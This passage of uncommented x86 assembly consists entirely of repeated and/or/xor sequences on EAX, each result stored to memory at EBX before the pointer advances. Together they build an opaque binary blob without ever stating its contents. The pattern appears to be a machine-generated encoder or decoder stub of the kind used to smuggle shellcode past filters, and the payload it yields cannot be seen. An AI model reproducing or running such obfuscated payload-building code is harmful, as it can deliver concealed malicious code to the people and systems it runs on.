or eax, 0x20008a04
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f11f398
or eax, 0x3261b292
and eax, 0x63212822
or eax, 0x84000440
mov dword [ebx], eax
add ebx, edx
or eax, 0x63985bfe
and eax, 0x64b85f3a
or eax, 0x8001
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d43f76f
and eax, 0x4ceb0759
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6274a413
and eax, 0x240410
or eax, 0x9e881bc2
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ec7d215
and eax, 0x5d203979
and eax, 0x1c201950
or eax, 0x82106206
mov dword [ebx], eax
add ebx, edx
or eax, 0x752374b1
xor eax, 0x6a8672af
and eax, 0x80300410
or eax, 0x400a8001
mov dword [ebx], eax
add ebx, edx
or eax, 0x128fc37
and eax, 0x430cff4e
and eax, 0x40080406
or eax, 0x223601a1
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ea94ff9
and eax, 0x4eaa03ad
or eax, 0x10002000
mov dword [ebx], eax
add ebx, edx
and eax, 0x462d8344
and eax, 0x6bd52d53
and eax, 0x2000100
or eax, 0x3c05caac
mov dword [ebx], eax
add ebx, edx
or eax, 0x10a38431
xor eax, 0x7d95315b
and eax, 0x222ac62
or eax, 0xa8010100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6860f45b
or eax, 0x7ea85c0
and eax, 0x5cb8c58
or eax, 0x2006
mov dword [ebx], eax
add ebx, edx
and eax, 0x1d266782
or eax, 0x82c705d
and eax, 0x12c601e
or eax, 0x22810220
mov dword [ebx], eax
add ebx, edx
or eax, 0x765d3786
xor eax, 0x479d097a
and eax, 0x205e80
or eax, 0xcb8c002a
mov dword [ebx], eax
add ebx, edx
and eax, 0x2e29e4c4
xor eax, 0x5421cd47
and eax, 0xc000805
or eax, 0xa1623600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fcec92e
and eax, 0x800ca223
or eax, 0x2c520800
mov dword [ebx], eax
add ebx, edx
and eax, 0x24738062
and eax, 0x20120002
or eax, 0x422c05c9
mov dword [ebx], eax
add ebx, edx
xor eax, 0x417bc221
xor eax, 0x207095fd
and eax, 0x2200205
or eax, 0x5c8a21a8
mov dword [ebx], eax
add ebx, edx
and eax, 0xcd20428
and eax, 0xc000028
or eax, 0x3205cb84
mov dword [ebx], eax
add ebx, edx
or eax, 0x421f9e23
and eax, 0x2a038d22
or eax, 0x80202040
mov dword [ebx], eax
add ebx, edx
and eax, 0x674945c2
and eax, 0x10442
or eax, 0x5caa81c
mov dword [ebx], eax
add ebx, edx
or eax, 0x4dd87d2f
and eax, 0x189603e
or eax, 0x22240200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4c1c3036
xor eax, 0x1298a9e8
and eax, 0x49285aa0
or eax, 0x8284040a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f553986
and eax, 0xa4602604
or eax, 0x9021801
mov dword [ebx], eax
add ebx, edx
and eax, 0x24cb5f33
xor eax, 0x413c4bea
and eax, 0x245e0023
or eax, 0x8800aa00
mov dword [ebx], eax
add ebx, edx
and eax, 0x511f85c4
and eax, 0x1e0000
or eax, 0x622005cb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x49f0a5a8
and eax, 0xa8a2021
or eax, 0x5420038c
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d5ef12f
and eax, 0x6365ea35
and eax, 0x2204c224
or eax, 0x1c010988
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f85bc26
and eax, 0x4436c347
and eax, 0x102
or eax, 0xaa23ac60
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59cf62a7
and eax, 0x1c88c44
or eax, 0x403201a
mov dword [ebx], eax
add ebx, edx
and eax, 0x49bb75ba
and eax, 0x189201a
or eax, 0x22244224
mov dword [ebx], eax
add ebx, edx
or eax, 0x590f62dd
and eax, 0x4bac42aa
or eax, 0x80001c00
mov dword [ebx], eax
add ebx, edx
and eax, 0xb52647e
xor eax, 0x7337a20f
and eax, 0x28222605
or eax, 0x85401800
mov dword [ebx], eax
add ebx, edx
or eax, 0x3efda164
and eax, 0xac5eaa21
or eax, 2
mov dword [ebx], eax
add ebx, edx
and eax, 0x3d42a31a
or eax, 0x7d140a6b
and eax, 0x6016004b
or eax, 0x2280580
mov dword [ebx], eax
add ebx, edx
xor eax, 0x72815452
or eax, 0x193ec436
and eax, 0x18aa01ad
or eax, 0x46002200
mov dword [ebx], eax
add ebx, edx
or eax, 0x74dfcc2f
and eax, 0x3e05cbac
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x774f685
xor eax, 0x59b1483f
and eax, 0x20002502
or eax, 0x8a238860
mov dword [ebx], eax
add ebx, edx
or eax, 0x358ebeac
and eax, 0x58bac4e
or eax, 0x400010
mov dword [ebx], eax
add ebx, edx
or eax, 0x4c0d241c
xor eax, 0x40fe9d85
and eax, 0x121201a
or eax, 0x228c4224
mov dword [ebx], eax
add ebx, edx
or eax, 0x5be47e25
and eax, 0x4bac5e2a
or eax, 0x80000080
mov dword [ebx], eax
add ebx, edx
or eax, 0x18fd84a7
and eax, 0x256bee5
and eax, 0x401e05
or eax, 0xad222000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6055f992
and eax, 0x8c168203
or eax, 0x20482820
mov dword [ebx], eax
add ebx, edx
and eax, 0x6812d921
and eax, 0x20120001
or eax, 0x422c05ca
mov dword [ebx], eax
add ebx, edx
and eax, 0x48b92842
and eax, 0x40280000
or eax, 0x1e8223ad
mov dword [ebx], eax
add ebx, edx
or eax, 0x21b5b9b1
and eax, 0x8217a85
and eax, 0x8010a84
or eax, 0x3604c128
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a63898f
or eax, 0x4b430b9f
and eax, 0x2a238922
or eax, 0x80002440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x530213e5
and eax, 0x101ac06
or eax, 0x4ca0058
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7346fcd8
and eax, 0x228d4006
or eax, 0x1202238
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c36009d
and eax, 0x34517e12
and eax, 0x4202
or eax, 0xcbac1ca8
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ae33f35
or eax, 0x63061c9
and eax, 0xad623e05
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x4979e336
and eax, 0xac5aaa23
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b3587d0
or eax, 0x6fc8081
and eax, 0x223e05c3
or eax, 0x40000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18365709
and eax, 0x5a080280
or eax, 0x4a2212d
mov dword [ebx], eax
add ebx, edx
and eax, 0x32db790e
or eax, 0x2c947071
and eax, 0x3e04412c
or eax, 0x18a80
mov dword [ebx], eax
add ebx, edx
or eax, 0x4fbb84a0
or eax, 0xd860a86
and eax, 0x2a238d22
or eax, 0x80002040
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f3af2f
and eax, 0xc3ac4e
or eax, 0x5080010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5cd8651a
and eax, 0x1014004
or eax, 0x22ac223a
mov dword [ebx], eax
add ebx, edx
and eax, 0x153e377e
and eax, 0x7a123882
and eax, 2
or eax, 0xcbac5ea8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c859a18
xor eax, 0x792e9ecf
and eax, 0x8c021a05
or eax, 0x21602400
mov dword [ebx], eax
add ebx, edx
and eax, 0x555deaa8
and eax, 0x4402a00
or eax, 0xa81e8023
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50458fd6
and eax, 0x601a05c1
or eax, 0x224000a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ec17d2e
and eax, 0x5caa20a5
or eax, 0x2000308
mov dword [ebx], eax
add ebx, edx
and eax, 0x14f6509
and eax, 0x108
or eax, 0x3e05caa4
mov dword [ebx], eax
add ebx, edx
and eax, 0x62070205
and eax, 0x65a7c092
and eax, 0x20010000
or eax, 0x8a22ad62
mov dword [ebx], eax
add ebx, edx
or eax, 0x636bbb8c
and eax, 0x12199f1b
and eax, 0x98c0a
or eax, 0x5c22054
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1880058b
xor eax, 0x6c461845
and eax, 0x210d2010
or eax, 0x2a0422e
mov dword [ebx], eax
add ebx, edx
and eax, 0x36d87107
and eax, 0x238d2046
and eax, 0x2880002
or eax, 0xc9245ea8
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d69fd46
or eax, 0x3ffef74a
and eax, 0xad623e04
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a282907
and eax, 0x28002801
or eax, 0x845e8222
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7795664a
and eax, 0x420a0449
or eax, 0x20340182
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69a319de
and eax, 0xa880005
or eax, 0x542223a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x2233dae8
and eax, 0x20002a8
or eax, 0x3c05c904
mov dword [ebx], eax
add ebx, edx
or eax, 0xd2b2c05
and eax, 0x2a23ad20
or eax, 0x80000042
mov dword [ebx], eax
add ebx, edx
and eax, 0x16f9ebb4
and eax, 0x1a800
or eax, 0x5ca045e
mov dword [ebx], eax
add ebx, edx
or eax, 0x6138fe93
and eax, 0x4bd95722
and eax, 0x1894202
or eax, 0x2224203c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2930d783
and eax, 0xa8c14a8
or eax, 0xc1204a02
mov dword [ebx], eax
add ebx, edx
xor eax, 0x35262fe5
and eax, 0xac023005
or eax, 0x1600e00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64a84742
and eax, 0x884a2803
or eax, 0x24148220
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f2c3572
or eax, 0x5ea27c50
and eax, 0x622e0442
or eax, 0x100189
mov dword [ebx], eax
add ebx, edx
and eax, 0x7a9edcca
xor eax, 0x2d7317cd
and eax, 0x4e280305
or eax, 0x108220a8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65410810
and eax, 0x3a010bac
or eax, 0x404c000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4309c5a5
and eax, 0x2018120
or eax, 0xa8222c42
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a44ebdb
and eax, 0x430418
or eax, 0x588a846
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b667fa4
or eax, 0x11287973
and eax, 0x23ad623e
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x69ba8c12
and eax, 0x27400ae4
and eax, 0x2000a20
or eax, 0xc9ac548a
mov dword [ebx], eax
add ebx, edx
and eax, 0x34434a83
and eax, 0xa00
or eax, 0xad623405
mov dword [ebx], eax
add ebx, edx
and eax, 0x23dd2ef9
and eax, 0x20402a01
or eax, 0x8c1e8022
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b30b868
and eax, 0x223e004b
or eax, 0x40000580
mov dword [ebx], eax
add ebx, edx
and eax, 0x28394bb5
and eax, 0x280181
or eax, 0x5e82222c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60ec73eb
and eax, 0x3e044004
or eax, 0x18ba8
mov dword [ebx], eax
add ebx, edx
or eax, 0x68d5cdd4
and eax, 0x2a018d60
or eax, 0x80222002
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e659fd
and eax, 0x4f1cd79a
and eax, 0x841a
or eax, 0x5cb2844
mov dword [ebx], eax
add ebx, edx
or eax, 0x19fee96
and eax, 0x18d621e
or eax, 0x22200020
mov dword [ebx], eax
add ebx, edx
and eax, 0x2676dbd
and eax, 0x2244028
or eax, 0xc9881e82
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ff12f26
xor eax, 0x5e709d0b
and eax, 0x5401201
or eax, 0xa8222c04
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c81b715
and eax, 0x4c1d9fc6
and eax, 0xc000200
or eax, 0xa05ea823
mov dword [ebx], eax
add ebx, edx
and eax, 0x6591f6c8
and eax, 0x202989a7
and eax, 0x20000000
or eax, 0x423e05cb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a578e79
and eax, 0x182803a0
or eax, 0x4682200d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7b2fd77d
and eax, 0x2405c080
or eax, 0x1a000b2c
mov dword [ebx], eax
add ebx, edx
and eax, 0x3bb400ba
and eax, 0x2a000020
or eax, 0x8023ad42
mov dword [ebx], eax
add ebx, edx
xor eax, 0x501cae21
xor eax, 0x5e9e0fb9
and eax, 0x4810c5a
or eax, 0x14aa004
mov dword [ebx], eax
add ebx, edx
or eax, 0xc15f95d
xor eax, 0x3129eb57
and eax, 0x20a40208
or eax, 0x3096036
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cf3f28f
and eax, 0x567d2b98
and eax, 0x422c0288
or eax, 0x89805c22
mov dword [ebx], eax
add ebx, edx
and eax, 0x33134933
and eax, 0x1000800
or eax, 0xac623605
mov dword [ebx], eax
add ebx, edx
or eax, 0x61b160f2
and eax, 0xac522a23
or eax, 0xc8000
mov dword [ebx], eax
add ebx, edx
and eax, 0x72427dec
or eax, 0x47dd1479
and eax, 0x621e0449
or eax, 0x200182
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a9e385d
and eax, 0x420a0009
or eax, 0x1ca023a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x409af803
and eax, 0
or eax, 0x3e05cbac
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a32e539
and eax, 0xa008120
or eax, 0xa0232c42
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4634d6fc
and eax, 0x403281e
or eax, 0x1c88440
mov dword [ebx], eax
add ebx, edx
or eax, 0x61559533
and eax, 0x48fea340
and eax, 0x8c2000
or eax, 0x2321423e
mov dword [ebx], eax
add ebx, edx
or eax, 0x4204025c
and eax, 0x43ac422a
or eax, 0x88001c80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32366bf8
and eax, 0xa9023400
or eax, 0x4600a05
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb9968d1
or eax, 0x112fddbe
and eax, 0xa45e8a22
or eax, 0x8002001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18a9545
and eax, 0x20140542
or eax, 0x422a0089
mov dword [ebx], eax
add ebx, edx
or eax, 0x84966ff
xor eax, 0x1efa71df
and eax, 0x54800220
or eax, 0xa2a218d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x672eb73
and eax, 0x5036339e
and eax, 0x1000008c
or eax, 0x2e05cb20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27425c73
and eax, 0x8038542
or eax, 0xa2202820
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fce738d
and eax, 0x22000
or eax, 0x5c98c5e
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ade2563
and eax, 0x882002
or eax, 0x2325423c
mov dword [ebx], eax
add ebx, edx
or eax, 0x1843e5dc
and eax, 0xbac46aa
or eax, 0xc0001800
mov dword [ebx], eax
add ebx, edx
or eax, 0x46705696
xor eax, 0x1def0f0b
and eax, 0x80021005
or eax, 0x2d602e00
mov dword [ebx], eax
add ebx, edx
or eax, 0x678b4b3d
or eax, 0x46d52755
and eax, 0xac5e2a21
or eax, 0x8002
mov dword [ebx], eax
add ebx, edx
and eax, 0x207bcc27
and eax, 0x201a0003
or eax, 0x422405c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x11d4b56f
and eax, 0x109
or eax, 0x5eaa22a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x4932e49a
and eax, 0x8000088
or eax, 0x3605cb24
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4a5e58a6
and eax, 0x20038102
or eax, 0x8a202c60
mov dword [ebx], eax
add ebx, edx
and eax, 0x48a53b96
and eax, 0x12802
or eax, 0x5ca845c
mov dword [ebx], eax
add ebx, edx
and eax, 0x478378d2
xor eax, 0x3e0bb85d
and eax, 0x2388000e
or eax, 0x256230
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62df7745
and eax, 0x4120142a
or eax, 0x8a8c4a80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e5e1aa5
and eax, 0x3ec442a0
and eax, 0x4400000
or eax, 0xa9223e05
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c7557e5
and eax, 0x39069430
and eax, 0x8000000
or eax, 0xa45eaa23
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5513805e
and eax, 0x600c0049
or eax, 0x2220582
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cff222c
or eax, 0x62f0fc38
and eax, 0x5eaa37ad
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c4eda97
and eax, 0x1624c8ac
or eax, 0x20110000
mov dword [ebx], eax
add ebx, edx
or eax, 0x11ea744
and eax, 0x613ad40
or eax, 0x88001012
mov dword [ebx], eax
add ebx, edx
or eax, 0x2e92a4be
and eax, 0x2493856e
or eax, 0x10680000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x52e032a6
and eax, 0x22092208
or eax, 0x1a44006
mov dword [ebx], eax
add ebx, edx
and eax, 0x3b5f7f49
and eax, 0x30c4208
or eax, 0xc8a01ca2
mov dword [ebx], eax
add ebx, edx
and eax, 0x217af63
or eax, 0x3b06ac69
and eax, 0x29022e01
or eax, 0x84601004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75238f7
xor eax, 0x3af3712c
and eax, 0x80422202
or eax, 0x2c1c8821
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d5734a7
xor eax, 0x55adf4ad
and eax, 0x20240009
or eax, 0x421a05c2
mov dword [ebx], eax
add ebx, edx
xor eax, 0x68918bc0
or eax, 0x17c47cc3
and eax, 0x1eaa2289
or eax, 0x40000124
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a5290fc
or eax, 0x64f5693b
and eax, 0x3e0549ac
or eax, 0x8200
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c4feb7a
and eax, 0x8018920
or eax, 0xa2222442
mov dword [ebx], eax
add ebx, edx
or eax, 0x370e49ff
or eax, 0x67490a92
and eax, 0x54bac5e
or eax, 0x800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x561df925
xor eax, 0x5886170f
and eax, 0x3004234
or eax, 0x20ad200a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3095480d
or eax, 0x24888fe4
and eax, 0x3a80ea2
or eax, 0xc8045008
mov dword [ebx], eax
add ebx, edx
and eax, 0x6129c65
xor eax, 0x5ee94b64
and eax, 0xc601604
or eax, 0xa1022801
mov dword [ebx], eax
add ebx, edx
or eax, 0x327f15a1
and eax, 0xac5e2a21
or eax, 0x8002
mov dword [ebx], eax
add ebx, edx
xor eax, 0x188ea8bb
or eax, 0x6b2495b8
and eax, 0x62340588
or eax, 0xa0043
mov dword [ebx], eax
add ebx, edx
or eax, 0x53a8c329
and eax, 0x52aa03a9
or eax, 0xc002004
mov dword [ebx], eax
add ebx, edx
or eax, 0x40ea4992
or eax, 0x6dd9646e
and eax, 0x3e014bac
or eax, 0x48000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c931651
and eax, 0x50ee7cf7
and eax, 0x20c60
or eax, 0xaa21a102
mov dword [ebx], eax
add ebx, edx
xor eax, 0x391d0860
and eax, 0x26e2c1a5
and eax, 0x28000
or eax, 0x5c92c5e
mov dword [ebx], eax
add ebx, edx
or eax, 0x31f5b224
and eax, 0x21ad223e
or eax, 0x2004000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53ce00e8
and eax, 0x40204282
or eax, 0x8b8c1c28
mov dword [ebx], eax
add ebx, edx
or eax, 0x390540d5
xor eax, 0x74029e9d
and eax, 0x8d220000
or eax, 0x20403e05
mov dword [ebx], eax
add ebx, edx
and eax, 0x10190e91
or eax, 0x50e93934
and eax, 0x482a21
or eax, 0xac168002
mov dword [ebx], eax
add ebx, edx
or eax, 0x7fe16cd
and eax, 0x36b7fd94
and eax, 0x22360480
or eax, 0x4008014b
mov dword [ebx], eax
add ebx, edx
and eax, 0x11b4d583
or eax, 0x537d8081
and eax, 0x52280181
or eax, 0xc82222c
mov dword [ebx], eax
add ebx, edx
or eax, 0xb37a388
or eax, 0x38846003
and eax, 0x3e05c3ac
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x30cf765e
and eax, 0x20010000
or eax, 0x8a22ad62
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a791b5c
and eax, 0x10840
or eax, 0x5caa41e
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a725229
and eax, 0x3a9623e
or eax, 0x20040000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19d4fdde
and eax, 0xa281ea0
or eax, 0xc184400a
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a61c458
and eax, 0xa9601e00
or eax, 0x4022005
mov dword [ebx], eax
add ebx, edx
xor eax, 0x592352b
xor eax, 0x69442c5e
and eax, 0x80142220
or eax, 0x2c4a8803
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e870fdc
xor eax, 0x182ee6f8
and eax, 0x2360103
or eax, 0x600804c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x237c01f4
and eax, 0x422a01ad
or eax, 0x1c802200
mov dword [ebx], eax
add ebx, edx
or eax, 0x747b0033
and eax, 0x3e0103ac
or eax, 0x4c800
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ef4a694
xor eax, 0x2a963969
and eax, 0x238440
or eax, 0xaa002922
mov dword [ebx], eax
add ebx, edx
xor eax, 0x409d024
or eax, 0x6e15bcd1
and eax, 0x40bac56
or eax, 0x1c00008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64e04743
and eax, 0x2129621c
or eax, 0x2840022
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a7cd549
and eax, 0x177e18e4
and eax, 0x32c1020
or eax, 0xc8804e8a
mov dword [ebx], eax
add ebx, edx
or eax, 0x3f51a093
and eax, 0xad603e01
or eax, 0x20004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d426b51
xor eax, 0x4bdba0e1
and eax, 0x885aa021
or eax, 0x24040a02
mov dword [ebx], eax
add ebx, edx
xor eax, 0x71ffa3f6
xor eax, 0x7bd1704d
and eax, 0x22300188
or eax, 0x400e0443
mov dword [ebx], eax
add ebx, edx
and eax, 0x45a30b3e
and eax, 0x40220108
or eax, 0x1e8822a5
mov dword [ebx], eax
add ebx, edx
or eax, 0x413febec
and eax, 0x1e05cbac
or eax, 0x20000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x394e8526
and eax, 0x2a038d22
or eax, 0x80202040
mov dword [ebx], eax
add ebx, edx
and eax, 0x337141f4
xor eax, 0x10303439
and eax, 0x12458
or eax, 0x5ca8806
mov dword [ebx], eax
add ebx, edx
and eax, 0x718c62a0
and eax, 0x1882000
or eax, 0x2225423e
mov dword [ebx], eax
add ebx, edx
or eax, 0x31eaf46
or eax, 0x17876251
and eax, 0x3ac4e2a
or eax, 0xc8001080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7aca8b29
xor eax, 0x28b0f5ea
and eax, 0x89422001
or eax, 0x24201e04
mov dword [ebx], eax
add ebx, edx
and eax, 0x2bfd125
xor eax, 0x4b1922e6
and eax, 0x81a2223
or eax, 0xa4448800
mov dword [ebx], eax
add ebx, edx
or eax, 0x336ee027
and eax, 0x223e0003
or eax, 0x400005c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x53b77b96
or eax, 0x33a2ff78
and eax, 0x52a223a8
or eax, 0xc080005
mov dword [ebx], eax
add ebx, edx
and eax, 0x22232b4f
or eax, 0x26b2c888
and eax, 0x2600cb8c
or eax, 0x18050020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x564c38fd
and eax, 0x2801a140
or eax, 0x82220c22
mov dword [ebx], eax
add ebx, edx
and eax, 0x21e7c714
and eax, 0x38400
or eax, 0x5c8285e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64d8d860
and eax, 0x2101603e
or eax, 0x2ac0200
mov dword [ebx], eax
add ebx, edx
and eax, 0x6755f6f4
and eax, 0x10cb626e
and eax, 0x4220
or eax, 0xcbac1c8a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67062d3e
xor eax, 0x3bf0998e
and eax, 0x85422a00
or eax, 0x28201405
mov dword [ebx], eax
add ebx, edx
or eax, 0x4d874263
and eax, 0xac462a23
or eax, 0x188000
mov dword [ebx], eax
add ebx, edx
or eax, 0x223e57cc
or eax, 0x3d11568f
and eax, 0x223e05cb
or eax, 0x40000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x108e4994
and eax, 0xa0180
or eax, 0x5ea0222d
mov dword [ebx], eax
add ebx, edx
or eax, 0x7247b735
xor eax, 0x1314049a
and eax, 0x2c018324
or eax, 0x12044888
mov dword [ebx], eax
add ebx, edx
xor eax, 0x573fe9ae
or eax, 0x534ff92a
and eax, 0x2a23a922
or eax, 0x80000440
mov dword [ebx], eax
add ebx, edx
and eax, 0x49ff55c
and eax, 0x3a440
or eax, 0x5c8081e
mov dword [ebx], eax
add ebx, edx
and eax, 0x41432679
and eax, 0x1012018
or eax, 0x22ac4226
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3cf4e32a
and eax, 0xb080000
or eax, 0xc0a45eaa
mov dword [ebx], eax
add ebx, edx
or eax, 0x61108565
xor eax, 0x2a9a2d85
and eax, 0x81223200
or eax, 0x2c400c05
mov dword [ebx], eax
add ebx, edx
or eax, 0x6312b828
or eax, 0xc5b91ba
and eax, 0xac5aaa23
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
and eax, 0x44c33f2c
and eax, 0x20000
or eax, 0x623c05cb
mov dword [ebx], eax
add ebx, edx
or eax, 0x1d9658a6
and eax, 0x5eaa01ad
or eax, 0x2200
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a61a8f5
and eax, 0x1e018bac
or eax, 0x20044000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x248e19ab
and eax, 0x4e875ec7
and eax, 0xa030002
or eax, 0xa020ad60
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b6c206f
or eax, 0x258d360f
and eax, 0x5cbac4e
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
and eax, 0x76a94b88
and eax, 0x890008
or eax, 0x23246236
mov dword [ebx], eax
add ebx, edx
and eax, 0x75a40255
and eax, 0x10a7fa8d
and eax, 0xa40200
or eax, 0xcb085caa
mov dword [ebx], eax
add ebx, edx
or eax, 0x2282df55
and eax, 0xa9221e05
or eax, 0x4402000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ddf8bdd
and eax, 0x801ca000
or eax, 0x2c420a23
mov dword [ebx], eax
add ebx, edx
and eax, 0x10476cf0
and eax, 0x60000
or eax, 0x623805cb
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75e1c3d4
and eax, 0x168a020d
or eax, 0x482021a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x47680953
and eax, 0x7190d8ab
and eax, 0x100008a8
or eax, 0x2e05c304
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11679421
and eax, 0x2a220d00
or eax, 0x8001a062
mov dword [ebx], eax
add ebx, edx
or eax, 0x18554efb
and eax, 0x43ac5a
or eax, 0x5880004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3162ddb8
and eax, 0x20a96026
or eax, 0x3040218
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a4dd8bd
xor eax, 0x36929128
and eax, 0x92c4a82
or eax, 0xc2801428
mov dword [ebx], eax
add ebx, edx
or eax, 0xc683ddf
and eax, 0x8d603e05
or eax, 0x20020000
mov dword [ebx], eax
add ebx, edx
and eax, 0x6de6ab0b
and eax, 0x2c422a01
or eax, 0x801c8022
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cc22a55
xor eax, 0x222d2241
and eax, 0x222e0040
or eax, 0x4010058b
mov dword [ebx], eax
add ebx, edx
and eax, 0x29b8be3d
xor eax, 0x48a46069
and eax, 0x48882020
or eax, 0x1622038d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x463a45b7
or eax, 0x6677a2d7
and eax, 0x3e05c28c
or eax, 0x920
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79514ab9
xor eax, 0x3df1aa4
and eax, 0x38920
or eax, 0xaa202442
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32b293a5
and eax, 0x812c46
or eax, 0x54a8018
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f2be4f3
and eax, 0x22a0402c
or eax, 0x10d2212
mov dword [ebx], eax
add ebx, edx
and eax, 0x68b61966
and eax, 0xa40022
or eax, 0xcb085e88
mov dword [ebx], eax
add ebx, edx
or eax, 0x70f7ddbb
and eax, 0xa9621e01
or eax, 0x4002004
mov dword [ebx], eax
add ebx, edx
or eax, 0x654e28fa
xor eax, 0x4e0274fc
and eax, 0xa04c0a03
or eax, 0xc12a020
mov dword [ebx], eax
add ebx, edx
or eax, 0x38e159ed
or eax, 0x7c995334
and eax, 0x603e01cb
or eax, 0x2000400
mov dword [ebx], eax
add ebx, edx
or eax, 0x10efd85d
xor eax, 0x3e9cfab6
and eax, 0x4c222329
or eax, 0x12880084
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e8b4f1b
and eax, 0xe000308
or eax, 0x3005c8a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x512be6c3
and eax, 0x2a222d62
or eax, 0x80018000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7de4893
and eax, 0x5c9a450
or eax, 0x2080e
mov dword [ebx], eax
add ebx, edx
